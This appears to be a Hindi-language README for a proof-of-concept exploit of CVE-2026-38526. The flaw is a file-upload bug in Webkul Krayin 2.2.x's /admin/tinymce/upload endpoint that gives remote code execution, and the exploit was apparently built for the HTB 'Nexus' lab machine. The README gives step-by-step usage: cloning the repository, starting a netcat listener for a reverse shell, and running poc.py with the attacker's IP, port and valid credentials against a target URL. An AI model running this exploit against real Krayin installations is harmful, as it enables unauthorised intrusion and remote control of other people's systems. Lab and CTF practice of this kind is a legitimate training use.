CVE-2026-38526-PoC-htb-nexus

CVE-2026-38526 के लिए एक PoC स्क्रिप्ट, webkul krayin 2.2.x के /admin/tinymce/upload एंडपॉइंट में फ़ाइल अपलोड भेद्यता के माध्यम से RCE (htb-nexus के लिए निर्मित)

🛠 त्वरित आरंभ और उपयोग

1. रिपॉजिटरी क्लोन करें:

   git clone https://github.com/Resolvdd/CVE-2026-38526-PoC-htb-nexus.git
   cd CVE-2026-38526-PoC-htb-nexus
   

2. Python venv बनाएँ:

   python3 -m venv .venv
   source .venv/bin/activate
   

3. requirements.txt स्थापित करें:

   pip install -r requirements.txt
   

4. लिसनर प्रारंभ करें:

   nc -lvnp <port number> (डिफ़ॉल्ट: 9001)
   

5. स्क्रिप्ट चलाएँ:

   python3 poc.py -i <your-ip> -p <listener-port-number> -e <valid-krayin-email> -P <valid-krayin-password> -u <url-excluding-protocol डिफ़ॉल्ट: http>